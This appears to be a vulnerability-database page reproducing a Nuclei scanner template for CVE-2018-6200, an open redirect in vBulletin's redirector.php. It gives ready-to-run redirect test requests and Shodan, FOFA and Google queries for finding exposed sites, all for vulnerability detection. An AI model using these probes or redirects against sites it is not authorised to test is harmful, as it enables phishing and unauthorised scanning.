CVE-2018-6200: vBulletin - Open Redirect

2025-08-01 vBulletin PoC Public

Description

vBulletin 3.x.x and 4.2.x through 4.2.5 contains an open redirect vulnerability via the redirector.php URL parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

PoC

id: CVE-2018-6200

info:
  name: vBulletin - Open Redirect
  author: 0x_Akoko,daffainfo
  severity: medium
  description: |
    vBulletin 3.x.x and 4.2.x through 4.2.5 contains an open redirect vulnerability via the redirector.php URL parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Apply the latest security patches and updates provided by vBulletin to fix the open redirect vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018010251
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6200
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-6200
    cwe-id: CWE-601
    epss-score: 0.03474
    epss-percentile: 0.88488
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.title:"powered by vbulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve,cve2018,redirect,vbulletin,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/redirector.php?url=https://interact.sh'
      - '{{BaseURL}}/redirector.php?do=nodelay&url=https://interact.sh'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<meta http-equiv="refresh" content="0; URL=https://interact.sh">'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009102080965359c1dbbca21e5722d6b37fcf96260f6a1df844ba3c8423c02d8ab0220354e122b15b6255a214c0f340d859123e0a4b3f385d820854c1e29ff9a350bf9:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6200.yaml

References

Related Vulnerabilities